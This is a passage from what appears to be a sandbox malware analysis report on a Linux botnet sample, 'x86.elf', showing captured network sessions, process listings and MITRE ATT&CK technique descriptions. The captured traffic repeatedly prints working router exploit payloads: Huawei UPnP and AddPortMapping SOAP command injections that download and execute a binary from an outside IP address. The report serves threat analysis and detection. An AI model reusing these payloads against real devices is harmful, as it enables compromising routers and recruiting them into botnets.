s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.14	46458	156.134.74.251	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.950613022 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.14	60584	41.128.154.190	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:37.177709103 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.14	53976	197.141.141.8	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:37.179686069 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.14	37218	197.185.99.182	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:37.180711031 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.14	52502	41.233.119.31	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:37.181365967 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.14	57250	197.225.5.98	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:37.199487925 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.14	42760	156.126.232.137	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:37.200160027 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.14	40116	197.196.129.17	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:37.294858932 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

System Behavior

Analysis Process: x86.elf PID: 5488, Parent PID: 5414

General

Start time (UTC):	19:34:23
Start date (UTC):	04/12/2024
Path:	/tmp/x86.elf
Arguments:	/tmp/x86.elf
File size:	143548 bytes
MD5 hash:	940e95cef426d7a84b553331473fcf32

Start time (UTC):	19:34:23
Start date (UTC):	04/12/2024
Path:	/tmp/x86.elf
Arguments:	-
File size:	143548 bytes
MD5 hash:	940e95cef426d7a84b553331473fcf32

Start time (UTC):	19:34:23
Start date (UTC):	04/12/2024
Path:	/tmp/x86.elf
Arguments:	-
File size:	143548 bytes
MD5 hash:	940e95cef426d7a84b553331473fcf32

Start time (UTC):	19:34:23
Start date (UTC):	04/12/2024
Path:	/tmp/x86.elf
Arguments:	-
File size:	143548 bytes
MD5 hash:	940e95cef426d7a84b553331473fcf32

Start time (UTC):	19:34:23
Start date (UTC):	04/12/2024
Path:	/tmp/x86.elf
Arguments:	-
File size:	143548 bytes
MD5 hash:	940e95cef426d7a84b553331473fcf32

Start time (UTC):	19:34:23
Start date (UTC):	04/12/2024
Path:	/tmp/x86.elf
Arguments:	-
File size:	143548 bytes
MD5 hash:	940e95cef426d7a84b553331473fcf32

Start time (UTC):	19:34:23
Start date (UTC):	04/12/2024
Path:	/tmp/x86.elf
Arguments:	-
File size:	143548 bytes
MD5 hash:	940e95cef426d7a84b553331473fcf32

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or `net view` using Net .
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report x86.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Symbols

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: x86.elf PID: 5488, Parent PID: 5414

General

Chronological Activities

Analysis Process: x86.elf PID: 5489, Parent PID: 5488

General

Chronological Activities

Analysis Process: x86.elf PID: 5490, Parent PID: 5488

General

Chronological Activities

Analysis Process: x86.elf PID: 5491, Parent PID: 5488

General

Chronological Activities

Analysis Process: x86.elf PID: 5492, Parent PID: 5488

Linux Analysis Report
x86.elf